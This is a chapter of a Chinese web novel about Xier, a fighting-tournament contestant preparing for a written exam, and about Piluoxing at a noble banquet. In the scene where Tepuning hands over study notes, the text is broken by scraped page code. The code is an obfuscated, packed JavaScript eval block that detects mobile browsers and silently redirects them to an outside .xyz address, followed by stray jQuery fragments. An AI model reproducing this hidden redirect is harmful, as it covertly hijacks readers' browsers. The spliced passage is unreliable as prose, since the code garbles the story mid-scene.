两人的裁判似乎有点晃神，没有及时喊催促韦德起身的倒计时。


    最后还在登记员的提醒下，裁判才宣布巨力人老韦德率先失去了意识，橡胶人威尔获胜！


    晞尔为重伤的威尔捏了一把汗，直到赶来的医生将他和老韦德抬上担架才放心下来。


    围观的众人跟着在医生后面，热烈而兴奋地喊着他们二人的名字：


    “威尔！”“老韦德！”


    “了不起的英雄！永远值得尊敬的对手！”


    在一片欢呼声中，威尔失去意识昏了过去……


    同样快要昏过去还有刚刚还在跟着欢呼的晞尔，她完全将第三轮比赛的事情抛到了脑后！


    这么说，明天她要面对的对手就是刚刚的胜者、不屈不挠的少年，众人心中的英雄——橡胶人威尔？


    谁来教教她啊……这还怎么打？


    “明天威尔能不能站起来还是一回事，如果他能参赛，难道要我攻击这样一位精神值得敬仰的伤者？”


    “如果他明天起不来，那我就自然晋级，也免得再伤害他了。”


    “不对，我怎么能诅咒他重伤呢……这也太无耻了！随便谁保佑吧，希望威尔没事！”


    “先是第一轮对手弃赛、再是明星选手保雷弃赛……今天我就听到不少嫉妒我幸运的骂声了……如果……”


    晞尔叹了口气，不敢继续往下想。她得赶紧回去了，免得特普宁担心。


    ……


    夜幕降临，皮罗星正和他最讨厌的几个同龄人围在同一张餐桌上“交际”。


    王室乐团演奏的曲目是《欢庆交响曲》，氛围欢快热烈，可却没感染到他们任何一个人。


    今天是法米娜·加纳的生日，他和姐姐都受到了邀请，可姐姐刚来就被女王传召去商谈政务了，只剩下他代表布提思家族出面应酬。


    “再坚持一会，晚宴开始就可以去宴会厅透气了，到时候就不用和这帮围着法米娜转的蠢猪打交道了！”


    “皮罗星哥哥，你怎么不和大家说话？”


    一道稚音未退的声音打断了皮罗星的出神，红发的十四岁少年——莱尼奇·加纳。


    “莱尼奇……我……在思考事情。”皮罗星找了个蹩脚的理由。总不能对着一个孩子说“我讨厌你浮夸的姐姐和她愚蠢的追求者们吧！”


    法米娜看到自己亲弟弟跑到布提思家的人身边，故意大声呼唤：


    “莱尼奇，过来！不要干扰伟大的‘实习警员’皮罗星思考问题！”


    法米娜的“首席追求者”安迪立即上前附声迎合：


    “实习……警员？不会吧，堂堂布提思家的贵族少爷，怎么跑去当警员了……好歹做个督察或者署长吧！”


    法米娜满意地笑笑，用戴满宝石戒指的手点了点安迪的脑袋：


    “你是不是傻，海拉的弟弟当然要和平民一样从最底层干起。”


    “皮罗星，我好好奇呢，海拉在为继承布提思家做准备，你又在做什么，是为成为警察署长做准备吗？”


    法米娜说完，周围的人看着皮罗星哄堂大笑，只有莱尼奇在拉扯姐姐的裙角。


    红发张扬的法米娜“啪”地将弟弟的手打开，低声威胁：


    “我说话的时候你站远点，跟你二姐一样拿不出手的废物！”


    皮罗星很生气，非常生气、格外生气！他知道法米娜在讥讽他的同时，还试图挑拨他们姐弟关系。


    令他最生气的是，他的笨嘴居然一句还击的狠话都说不出来！


    “总不能直接骂她愚蠢吧！或者解释姐姐磨炼我的用意？”


    “……怎么说都显得我好蠢……为什么家族的老师不开设吵架这门功课呢？比学什么天文学、音乐发展史有用多了！”


    正在这时，王室乐团更换了演奏的曲目，众人向前方看去，晚宴舞会厅的大门缓缓打开了。


    皮罗星一把牵过在原地哭丧着脸的莱尼奇，装出懒得理会法米娜的样子，若无其事地走入了大厅。


    “哥哥，对不起，我替法米娜姐姐跟你道歉。”


    皮罗星为莱尼奇取了一杯无酒精的果汁，递到他手上安慰着：


    “没关系，你不需要这样做。况且我早就习惯她出言不逊了。”


    “——其实完全不习惯！我很生气！但我没必要为难一个善意的孩子……”


    其实仔细看，十四岁的莱尼奇个子已经不矮，只是脸和声音还明显是个小孩。


    皮罗星有些不忍心：


    “法米娜在家也是这么对你和佳丰的？”


    “……差不多吧。”莱尼奇垂着头说：


    “但也不是一直这样。自从姐姐被女王召入王都居住，脾气就像变了一个人一样。”


    这点皮罗星还真不知道，他印象中的法米娜从小就是个讨厌鬼，小时候仗着比他大六岁，经常欺负自己。


    “五年前，姐姐是和法米娜一同被召入王都内住的。虽然在这之前，他们也常住在王都外的宅邸，但在此之后，姐姐便丧失了随意出行的自由。”


    “不管她回布提思家的领地，还是去访友、处理事务，都要率先经过女王的批准。”


    皮罗星也不是什么都不懂，这是女王对两大家族变相的约束。


    “可是这种约束又有什么用呢，下任兰克国王的人选是神谕机决定的，参选资格是三大家族家主年满20岁的子女。”


    “如果女王陛下或其他任何人试图违抗神谕机的决定，那将会受到神罚！”


    “此前不是没有忤逆的例子，兰克帝国第十三任国王就曾试图违背神谕机选定的结果，强行扶持自己的子嗣上位。”


    “在他公开宣布这个决定的瞬间，神罚立降，他和他扶持的子嗣同时爆燃而死，死在了议政枢大臣和三大家族面前，连一丝灰烬都没剩下！”


    “从那以后的二百年，再没有谁敢违抗神谕机的指示。”


    莱尼奇清澈的声音打断了他的深思：


    “皮罗星哥哥，你在想什么呢，舞会开始了！”


    ……


    晞尔回家后，首先向特普宁转达了道恩医生的问候。


    接着，她刻意隐去了保雷弃赛的隐情，只说了自己又幸运地晋级到了第三轮。


    特普宁黑着眼圈，从房间里报出一摞拳头高的书册和笔记本：


    “这是我这两天整理的考试资料，之前不是说了，完成三轮格斗后还有一场笔试。”


    “我找之前服务贵族时认识的护卫打听了一下，考试内容估计是些常识、基础算数和贵族礼仪。”


    “你认字和算数肯定没问题，但从来没有服务贵族的机会，所以我就找了这些资料来。”


    晞尔皱着眉头刚要说话，特普宁就打断了她：


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468049|169847||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “我知道你有意见，但我懒得听。又要说‘看不完’和‘看不进去’了吧？没门，必须看！里面需要特别关注甚至背诵的地方我都标注好了，不会太费力的！”


    原来特普宁最近天天读书学习是在为我整理资料……晞尔感动且不敢拒绝：


    “呃……谢谢你，特普宁，你真是个好朋友……但我今晚还要去市场值班，恐怕只能明天回来再看了。”


    “我今天出门的时候碰巧遇到了密夫，我请他帮你找琳娜女士请假了。”


    “啊？！”


    晞尔内心如同晴天霹雳：


    “请假一天扣60，同时，这个月也拿不了100的全勤奖励，也就是说……我这个只能到手840兰克币！”


    晞尔想哭，参加公职选拔的成本也太高了……


    “特普宁已经帮我请完假了，她怀着孕还帮我整理了好几天资料……啊……压力好大……”


    “之前听她说过，自从肚子大起来后，她坐着常常感到肚子和尾骨不适……”


    想到这，她决定不辜负朋友的心血，认真地坐下学习起来。


    特普宁见晞尔“认命”了，满意地坐在她对面，翻起了动物心理学相关的书籍提升自己。


    ……


    “……贵族的荣誉是他们最珍视的……三大家族族徽的意义……贵族致力于维护家庭的和睦……良好的品德是贵族的行为的基石……艺术品味关系着发展的高度……信仰多样但需要敬畏……”


    “不行，好困！”


    晞尔喝了杯浓浓的红茶提神，经过刚才的认真学习，她能感到巨量的知识海水般地涌入脑海。


    ——然后又流了出去。


    出神中，她又想起了今天观战的那场比赛：橡胶人威尔对战巨力人韦德。


    “先不提后天的考试，明天第三轮比赛到底要怎么打？”


    “那个小威尔估计刚满选拔要求的最低年龄——18岁。甚至看起来还没有成年这么大。”


    “参加选拔的每个人都有目的，要么像我这样为了钱、为了找份工作，要么是为了提升自己的地位。还有些怪咖，比如颐莲，是为了找人？”


    “虽然很难理解，但一定有个理由。”


    “小威尔是为了什么呢？是什么目标值得他堵上生命呢？”


    特普宁看到晞尔眉头紧皱、两眼发直就知道她一定没在学习，于是提醒道：


    “晞尔，你又在走神了！”


    “哦哦。”晞尔赶紧回神：


    “特普宁，你说如果一个人，他不惜冒着被活活打死的风险也要打赢第二轮比赛，而且打完后几乎是重伤瘫痪的状态，那是为什么呢？”


    特普宁没想到晞尔问这么古怪的问题，先是一愣：


    “你是说第二场?”


    “没错！”


    “那肯定不是为了通过选拔、获得职位。”


    晞尔点点头，她也是这么想的。正常人都会权衡利弊，第二场打废了身体，就是赢了，第三场连参加都参加不了，没有任何意义。


    “况且医疗中心只管急救和处理伤口，要养好这么重的伤，得耽误多少挣钱的时间……”


    “他是不是打给别人看的？”特普宁问道，“不是可以观战吗，我是想，或许这场比赛对他意味着什么……”


    晞尔猛地抬头，她明白威尔在干什么了！